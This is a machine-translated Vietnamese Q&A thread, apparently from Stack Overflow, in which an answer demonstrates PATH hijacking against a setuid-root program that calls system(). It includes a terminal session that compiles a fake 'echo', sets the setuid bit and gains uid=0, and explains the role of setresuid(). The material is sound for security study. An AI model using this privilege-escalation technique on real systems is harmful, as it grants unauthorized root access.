Bạn có thể ghi đè lên các biến PATH
để trỏ đến một thư mục với phiên bản tùy chỉnh của bạn của echo
và kể từ echo
được thực hiện sử dụng env
, nó không được coi là một built-in.
Điều này cấu thành một lỗ hổng chỉ khi mã được chạy dưới dạng người dùng đặc quyền.
Trong ví dụ bên dưới, tệp v.c chứa mã từ câu hỏi.
$ cat echo.c
#include <stdio.h>
#include <unistd.h>
int main() {
printf("Code run as uid=%d\n", getuid());
}
$ cc -o echo echo.c
$ cc -o v v.c
$ sudo chown root v
$ sudo chmod +s v
$ ls -l
total 64
-rwxr-xr-x 1 user group 8752 Nov 29 01:55 echo
-rw-r--r-- 1 user group 99 Nov 29 01:54 echo.c
-rwsr-sr-x 1 root group 8896 Nov 29 01:55 v
-rw-r--r-- 1 user group 279 Nov 29 01:55 v.c
$ ./v
and now what?
$ export PATH=.:$PATH
$ ./v
Code run as uid=0
$
Lưu ý rằng các thiết lập của ID người dùng thực, hiệu quả sử dụng ID và lưu thiết lập của người dùng-ID bằng một cuộc gọi đến setresuid()
trước khi cuộc gọi đến system()
trong mã dễ bị tổn thương đăng trong câu hỏi cho phép một để khai thác lỗ hổng ngay cả khi chỉ có ID người dùng hiệu quả được đặt thành ID người dùng đặc quyền và ID người dùng thực vẫn không có đặc quyền (ví dụ như trường hợp khi dựa vào bit thiết lập người dùng-ID trên một tệp như trên). Nếu không có cuộc gọi đến setresuid()
, vỏ chạy bởi system()
sẽ đặt lại ID người dùng hiệu quả trở lại ID người dùng thực sự khiến việc khai thác không hiệu quả. Tuy nhiên, trong trường hợp khi mã dễ bị tổn thương được chạy với ID người dùng thực của một người dùng đặc quyền, thì chỉ cần gọi một mình là đủ. Trích dẫn trang sh
người đàn ông:
Nếu vỏ được bắt đầu với người sử dụng có hiệu quả (nhóm) id không bằng cho người sử dụng thực (nhóm) id, và tùy chọn -p không được cung cấp, không có tập tin khởi động là đọc, chức năng vỏ không được thừa kế từ môi trường, biến SHELLOPTS, nếu nó xuất hiện trong môi trường, bị bỏ qua và người dùng có hiệu lực id được đặt thành id người dùng thực. Nếu tùy chọn -p được cung cấp khi gọi, hành vi khởi động giống nhau, nhưng id người dùng hiệu quả không được đặt lại.
Ngoài ra, lưu ý rằng setresuid()
là không di động, nhưng setuid()
hoặc setreuid()
cũng có thể được sử dụng để tác dụng tương tự.
Nguồn
2011-11-29 00:52:20
Tại sao bạn cho rằng điều này cho phép thực thi mã tùy ý? –
tốt, phải trung thực tôi đang dùng nó trên đức tin mù quáng. Tôi là một sinh viên an ninh, tôi đã nhìn vào mã dễ bị tổn thương, và tôi thấy điều này, nó nói trong cuốn sách mà nó làm, tuy nhiên nó không giải thích ví dụ cụ thể này. – quantumdisaster
Có lẽ bạn tham khảo cuộc gọi hệ thống? Không phải là một chuyên gia về điều này, nhưng đó là điều duy nhất từ xa lạ lùng nhìn tôi. Không có tràn bộ đệm hoặc bất cứ điều gì như thế. –